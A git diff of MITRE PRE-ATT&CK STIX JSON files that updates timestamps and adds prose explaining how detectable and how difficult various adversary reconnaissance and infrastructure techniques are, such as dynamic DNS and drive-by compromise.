diff --git a/pre-attack/attack-pattern/attack-pattern--51bca707-a806-49bf-91e0-03885b0ac85c.json b/pre-attack/attack-pattern/attack-pattern--51bca707-a806-49bf-91e0-03885b0ac85c.json
index 3c647401ee..7ceca6ef5a 100644
--- a/pre-attack/attack-pattern/attack-pattern--51bca707-a806-49bf-91e0-03885b0ac85c.json
+++ b/pre-attack/attack-pattern/attack-pattern--51bca707-a806-49bf-91e0-03885b0ac85c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--16060241-909c-411a-ad5a-fd0558a5a6e0",
+    "id": "bundle--dca4370d-85e0-412c-b127-97d761512d5c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--51bca707-a806-49bf-91e0-03885b0ac85c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct cost/benefit analysis",
             "description": "Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
             "kill_chain_phases": [
diff --git a/pre-attack/attack-pattern/attack-pattern--5436571f-2332-4b51-b7ed-0bc822fe02c2.json b/pre-attack/attack-pattern/attack-pattern--5436571f-2332-4b51-b7ed-0bc822fe02c2.json
index fcce263f71..3700550db1 100644
--- a/pre-attack/attack-pattern/attack-pattern--5436571f-2332-4b51-b7ed-0bc822fe02c2.json
+++ b/pre-attack/attack-pattern/attack-pattern--5436571f-2332-4b51-b7ed-0bc822fe02c2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--065e5e0e-e54f-4741-bad8-847ca31aa499",
+    "id": "bundle--8aea3110-46ef-4756-9d89-76c76d056e1b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--5436571f-2332-4b51-b7ed-0bc822fe02c2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OS-vendor provided communication channels",
-            "description": "Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: These services are heavily utilized by mainstream mobile app developers.  High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: These are free services provided by Google and Apple to app developers, and information on how to use them is readily available.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "These services are heavily utilized by mainstream mobile app developers.  High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "These are free services provided by Google and Apple to app developers, and information on how to use them is readily available."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--54a42187-a20c-4e4e-ba31-8d15c9e1f57f.json b/pre-attack/attack-pattern/attack-pattern--54a42187-a20c-4e4e-ba31-8d15c9e1f57f.json
index 3f99ebb886..b0159a6191 100644
--- a/pre-attack/attack-pattern/attack-pattern--54a42187-a20c-4e4e-ba31-8d15c9e1f57f.json
+++ b/pre-attack/attack-pattern/attack-pattern--54a42187-a20c-4e4e-ba31-8d15c9e1f57f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9dcabaec-1880-4ddc-ab0d-aa0ac31ffcfd",
+    "id": "bundle--15ec3212-4792-4c87-a398-5d4d9ddfde31",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--54a42187-a20c-4e4e-ba31-8d15c9e1f57f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SSL certificate acquisition for trust breaking",
-            "description": "Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The certificate authority who is hacked cannot easily see they've been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotar (Citation: DigiNotar2016) and [https://www.verisign.com Verisign].\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: One example of it occurring in the real world is the DigiNotar (Citation: DigiNotar2016) case.  To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -26,13 +26,19 @@
                 {
                     "source_name": "SubvertSSL",
                     "description": "Ryan Singel. (2010, March 24). Law Enforcement Appliance Subverts SSL. Retrieved March 2, 2017."
+                },
+                {
+                    "source_name": "DigiNotar2016",
+                    "description": "Wikipedia. (n.d.). DigiNotar. Retrieved July 21, 2016."
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "The certificate authority who is hacked cannot easily see they've been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotarDigiNotar2016 and [https://www.verisign.com Verisign].",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "One example of it occurring in the real world is the DigiNotarDigiNotar2016 case.  To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe.json b/pre-attack/attack-pattern/attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe.json
index 8e7d06b5cf..71cf4149fb 100644
--- a/pre-attack/attack-pattern/attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe.json
+++ b/pre-attack/attack-pattern/attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9c351a59-52e2-4b9f-b173-2647f53f29d6",
+    "id": "bundle--b6ca4194-b84a-419d-8e6d-893dec9c1e3c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dynamic DNS",
-            "description": "Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is relatively easy to subscribe to dynamic DNS providers or find ways to get different IP addresses from a cloud provider.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know at first use what is valid or hostile traffic without more context.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "It is relatively easy to subscribe to dynamic DNS providers or find ways to get different IP addresses from a cloud provider."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--57061a8a-d7c5-42a9-be60-f79526b95bf6.json b/pre-attack/attack-pattern/attack-pattern--57061a8a-d7c5-42a9-be60-f79526b95bf6.json
index 735e890c2c..b9c1874d81 100644
--- a/pre-attack/attack-pattern/attack-pattern--57061a8a-d7c5-42a9-be60-f79526b95bf6.json
+++ b/pre-attack/attack-pattern/attack-pattern--57061a8a-d7c5-42a9-be60-f79526b95bf6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--db42f42d-e695-4b9a-ba25-b263e00df549",
+    "id": "bundle--677bb58f-8b0b-419a-b4b4-d5c71bca875b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--57061a8a-d7c5-42a9-be60-f79526b95bf6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test signature detection",
-            "description": "An adversary can test the detections of malicious emails or files by using  publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary can test the detections of malicious emails or files by using  publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect.  If the adversary uses a hostile, less well-known service, the defender would not be aware.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to automate upload/email of a wide range of data packages.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect.  If the adversary uses a hostile, less well-known service, the defender would not be aware.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Easy to automate upload/email of a wide range of data packages."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--57619ab3-f6a5-43c8-8dd1-b0b8a986a870.json b/pre-attack/attack-pattern/attack-pattern--57619ab3-f6a5-43c8-8dd1-b0b8a986a870.json
index b3d49774b0..39c0453041 100644
--- a/pre-attack/attack-pattern/attack-pattern--57619ab3-f6a5-43c8-8dd1-b0b8a986a870.json
+++ b/pre-attack/attack-pattern/attack-pattern--57619ab3-f6a5-43c8-8dd1-b0b8a986a870.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b4f00c46-c4eb-46bc-8df9-2dfbffa1a40c",
+    "id": "bundle--32822bf5-704f-4ec6-87b9-0185aa0b2c72",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--57619ab3-f6a5-43c8-8dd1-b0b8a986a870",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze business processes",
-            "description": "Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other  (Citation: Warwick2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other  (Citation: Warwick2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: To get any kind of fidelity into business processes would require insider access.  Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "To get any kind of fidelity into business processes would require insider access.  Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--58d0b955-ae3d-424a-a537-2804dab38793.json b/pre-attack/attack-pattern/attack-pattern--58d0b955-ae3d-424a-a537-2804dab38793.json
index 9b23fb8e39..92cab36b2c 100644
--- a/pre-attack/attack-pattern/attack-pattern--58d0b955-ae3d-424a-a537-2804dab38793.json
+++ b/pre-attack/attack-pattern/attack-pattern--58d0b955-ae3d-424a-a537-2804dab38793.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--23d1ac86-a820-44fd-9b1d-6fde267be3a9",
+    "id": "bundle--77ba0b65-2fe5-4b95-84bb-4f5b285403ce",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--58d0b955-ae3d-424a-a537-2804dab38793",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Unconditional client-side exploitation/Injected Website/Driveby",
-            "description": "A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page.  The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page.  The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection.  Encryption and other techniques reduces the efficacy of these defenses.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Placing an exploit on a public web site for driveby types of delivery is not impossible.  However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection.  Encryption and other techniques reduces the efficacy of these defenses.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Placing an exploit on a public web site for driveby types of delivery is not impossible.  However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--59369f72-3005-4e54-9095-3d00efcece73.json b/pre-attack/attack-pattern/attack-pattern--59369f72-3005-4e54-9095-3d00efcece73.json
index b538d18cb7..42ebf87010 100644
--- a/pre-attack/attack-pattern/attack-pattern--59369f72-3005-4e54-9095-3d00efcece73.json
+++ b/pre-attack/attack-pattern/attack-pattern--59369f72-3005-4e54-9095-3d00efcece73.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ac062504-8271-45c7-a26a-0c9815f10fe3",
+    "id": "bundle--91ff0467-96c9-4c37-b362-48b216930eea",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--59369f72-3005-4e54-9095-3d00efcece73",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify supply chains",
-            "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an intensive process to obtain the full picture.  It is possible to obtain basic information/some aspects via OSINT.  May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires an intensive process to obtain the full picture.  It is possible to obtain basic information/some aspects via OSINT.  May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--5a68c603-d7f9-4535-927e-ab56819eaa85.json b/pre-attack/attack-pattern/attack-pattern--5a68c603-d7f9-4535-927e-ab56819eaa85.json
index bdc072646d..a13e0672ad 100644
--- a/pre-attack/attack-pattern/attack-pattern--5a68c603-d7f9-4535-927e-ab56819eaa85.json
+++ b/pre-attack/attack-pattern/attack-pattern--5a68c603-d7f9-4535-927e-ab56819eaa85.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2406ec7b-ca7a-4bd8-947f-966fce3596a1",
+    "id": "bundle--d29da4a4-a4aa-44d1-a0c7-e507171d3c44",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--5a68c603-d7f9-4535-927e-ab56819eaa85",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Compromise 3rd party or closed-source vulnerability/exploit information",
-            "description": "There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The compromise of unknown vulnerabilities would provide little attack and warning against a defender, rendering it highly challenging to detect.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Finding, attacking, and compromising a 3rd party or closed vulnerability entity is challenging, because those containing the vulnerabilities should be very aware of attacks on their environments have a heightened awareness.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "The compromise of unknown vulnerabilities would provide little attack and warning against a defender, rendering it highly challenging to detect.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Finding, attacking, and compromising a 3rd party or closed vulnerability entity is challenging, because those containing the vulnerabilities should be very aware of attacks on their environments have a heightened awareness."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549.json b/pre-attack/attack-pattern/attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549.json
index 2dd859f8a0..3455f71813 100644
--- a/pre-attack/attack-pattern/attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549.json
+++ b/pre-attack/attack-pattern/attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d662ab88-4869-4b58-9fb6-fd55dd059fff",
+    "id": "bundle--8524cf4d-bcff-413f-be49-78e91cc942d0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify business relationships",
-            "description": "Business relationship information includes the associates of a target and may be discovered via social media sites such as [https://www.linkedin.com LinkedIn] or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles).  This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Business relationship information includes the associates of a target and may be discovered via social media sites such as [https://www.linkedin.com LinkedIn] or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles).  This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.  Much of this information is widely known and difficult to obscure.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Made easier by today's current social media.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.  Much of this information is widely known and difficult to obscure.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Made easier by today's current social media."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--6063b486-a247-499b-976a-9de16f4e83bc.json b/pre-attack/attack-pattern/attack-pattern--6063b486-a247-499b-976a-9de16f4e83bc.json
index 0815831bb1..c64858076a 100644
--- a/pre-attack/attack-pattern/attack-pattern--6063b486-a247-499b-976a-9de16f4e83bc.json
+++ b/pre-attack/attack-pattern/attack-pattern--6063b486-a247-499b-976a-9de16f4e83bc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--904cb34b-32da-4a75-9b1c-a259f58817d4",
+    "id": "bundle--62b6a044-a2e3-4a70-a004-57a50f274348",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--6063b486-a247-499b-976a-9de16f4e83bc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Develop KITs/KIQs",
             "description": "Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them.  KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
             "kill_chain_phases": [
diff --git a/pre-attack/attack-pattern/attack-pattern--616238cb-990b-4c71-8f50-d8b10ed8ce6b.json b/pre-attack/attack-pattern/attack-pattern--616238cb-990b-4c71-8f50-d8b10ed8ce6b.json
index 69e858ce34..6b32d26f95 100644
--- a/pre-attack/attack-pattern/attack-pattern--616238cb-990b-4c71-8f50-d8b10ed8ce6b.json
+++ b/pre-attack/attack-pattern/attack-pattern--616238cb-990b-4c71-8f50-d8b10ed8ce6b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a1f811bd-71f9-4a00-a54f-680393e69479",
+    "id": "bundle--b71697eb-2640-4b2d-8560-221c8953f048",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--616238cb-990b-4c71-8f50-d8b10ed8ce6b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Use multiple DNS infrastructures",
-            "description": "A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: This is by design captured in public registration logs.  Various tools and services exist to track/query/monitor domain name registration information.  However, tracking multiple DNS infrastructures will likely require multiple tools/services or more advanced analytics.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires more planning, but feasible.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This is by design captured in public registration logs.  Various tools and services exist to track/query/monitor domain name registration information.  However, tracking multiple DNS infrastructures will likely require multiple tools/services or more advanced analytics.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires more planning, but feasible."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--68b45999-bb0c-4829-bbd0-75d6dac57c94.json b/pre-attack/attack-pattern/attack-pattern--68b45999-bb0c-4829-bbd0-75d6dac57c94.json
index 80655e49e6..f5a061032c 100644
--- a/pre-attack/attack-pattern/attack-pattern--68b45999-bb0c-4829-bbd0-75d6dac57c94.json
